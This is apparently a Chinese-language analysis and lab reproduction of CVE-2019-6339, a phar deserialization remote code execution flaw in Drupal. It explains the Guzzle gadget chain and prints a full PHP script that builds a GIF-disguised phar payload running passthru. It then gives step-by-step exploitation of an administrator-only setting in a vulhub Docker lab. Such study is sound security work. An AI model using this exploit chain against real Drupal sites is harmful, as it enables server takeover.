0%

CVE-2019-6339分析记录

1. 漏洞原理:

1.1 描述

在Drupal Core版本7.62之前的7.x、8.6.6之前的8.6.x和8.5.9之前的8.5.x; 在不受信任的phar:// URI上执行文件操作时,PHP的内置phar流包装器中存在一个远程执行代码漏洞。某些Drupal代码(核心代码,贡献代码和自定义代码)可能会在未经充分验证的用户输入上执行文件操作,从而容易受到此漏洞的影响。但是此类代码路径通常需要访问管理权限或非典型配置,所以这个漏洞的影响不是太大。

1.2 Drupal

Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由内容管理系统(CMS)和PHP开发框架(Framework)共同构成。

1.3 phar反序列化

phar提供了一种将整个PHP应用程序放入称为“ phar”(PHP存档)的单个文件中的方法,以便于分发和安装。

Phar文件结构主要包含三至四个部分:

  • A stub:可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。

    image-20201120190344828

  • a manifest describing the contents:phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是phar反序列化的攻击手法最核心的地方。

    img

  • the file contents

    被压缩文件的内容。

  • a signature for verifying Phar integrity

    image-20201120190436599

1.4 漏洞触发流程

在Drupal的文件管理系统模块中,对文件目录的检查使用的时is_dir函数,这是一个直接的文件操作函数,而在2018年的blackhat上有研究人员提出,如果对phar文件进行文件操作,则其中的meta-data数据则会反序列化执行。

image-20201122010122253

而这个漏洞是在管理员登录的情况下上传一个经过phar化的图片文件作为头像,图片文件中包含恶意构造的Payload用来执行命令,然后在文件系统的配置页面下,修改临时目录的值指向这个图片文件(利用phar流访问的方式),服务端会对这个文件进行check看是不是一个目录:

image-20201122010734070

同时就会对meta-data数据进行反序列化执行。

1.4 Payload数据构造

PoC中使用的是Drupal的两个关键类GuzzleHttp\HandlerStack,GuzzleHttp\Psr7\FnStream来进行构造的,阅读源码可以发现FnStream主要是实现一个自定义的方法,可以看到它的构造函数和析构函数是这样的:

image-20201122012712670

会将传入的参数作为函数名创建,而每个函数名都是调用call_user_func实现的,析构函数中判断是否存在_fn_close方法,存在则调用。

而HandlerStack类则是通过将中间件堆叠在HTTP处理程序函数之上,创建组合的Guzzle处理程序函数,其成员private $handler就是一个回调函数对象,可以进行已有函数的自定义来执行命令。

整理一下,调用栈大致如下:

image-20201122020030655

  • FnStream的析构函数通过call_user_func(Array)执行我们自定义的close方法(里面实际是一个数组,由HandlerStack对象和”resolve”组成)
  • 然后就会去执行HandlerStack的resolve函数,而我们可以自定义HandlerStack的成员使它来执行系统命令
  • 最后经过resolve解析后就会真正执行我们构造的函数(1.5的EXP中是passthru("uname -a"))了。

1.5 可执行任意的命令的Exp

用PHP写的,php语法不是太熟,还请见谅:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
namespace GuzzleHttp\Psr7{
class FnStream{
public $methods;

public function __construct(array $methods)
{
$this->methods = $methods;
// Create the functions on the class
foreach ($methods as $name => $fn) {
$this->{'_fn_' . $name} = $fn;
}
}

public function __destruct()
{
if (isset($this->_fn_close)) {
call_user_func($this->_fn_close);
}
}
}
}

namespace GuzzleHttp{
class HandlerStack{
private $handler = "uname -a";
private $stack = array(array("passthru"));
private $cached = null;
}
}

namespace {
$httphandlestack = new GuzzleHttp\HandlerStack();

$methods = array("close"=>array($httphandlestack, "resolve"));
$Stream = new GuzzleHttp\Psr7\FnStream($methods);

@unlink("poc1.phar");
$phar = new Phar("poc1.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($Stream);
$phar->addFromString("test.txt", "test");

$phar->stopBuffering();
}
?>

1.6 PHP 执行系统命令的函数

  • system() 输出并返回最后一行shell结果。
  • exec() 不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。
  • passthru() 只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。

2. 复现过程:

2.1 环境搭建

使用vulhub现有的漏洞镜像来搭建环境,在服务器上安装docker和docker-compose,使用git克隆vulhub仓库到服务器,进入CVE-2019-6339的目录,使用docke-compose编译、启动环境:

1
2
3
4
5
6
curl -s https://get.docker.com/ | sh
pip install docker-compose
git clone https://github.com/vulhub/vulhub.git
cd vulhub/drupal/CVE-2019-6339
docker-compose build # 编译
docker-compose up -d # 启动环境

image-20201122022908914

目录下的docker-compose.yml中设置的端口是8080,因为是在公网的服务器嘛,我稍微改了一下。

image-20201122022649645

然后在浏览器访问ip:port就能看见drupal的安装界面了,一路配置下去,注册管理员,成功进入管理员的信息配置页面之后我们就可以上传我们通过EXP生成的头像文件了。

2.2 exp生成

由于上传有文件格式验证,所以我们在phar的头部加了个GIF的头,生成的整个exp如下:

image-20201122023710966

2.3 执行过程

修改生成的poc1.phar文件名为test6.gif,上传:

image-20201122024147236

然后访问admin/config/media/file-system,修改临时目录为phar://./sites/default/files/pictures/2020-11/test6.gif,保存设置,页面上返回了”uname -a”执行后的结果:

image-20201122024452506

由于这是一个只有管理员才能访问的页面,因此这个漏洞虽然评分很高,但是影响有所减小。

参考链接: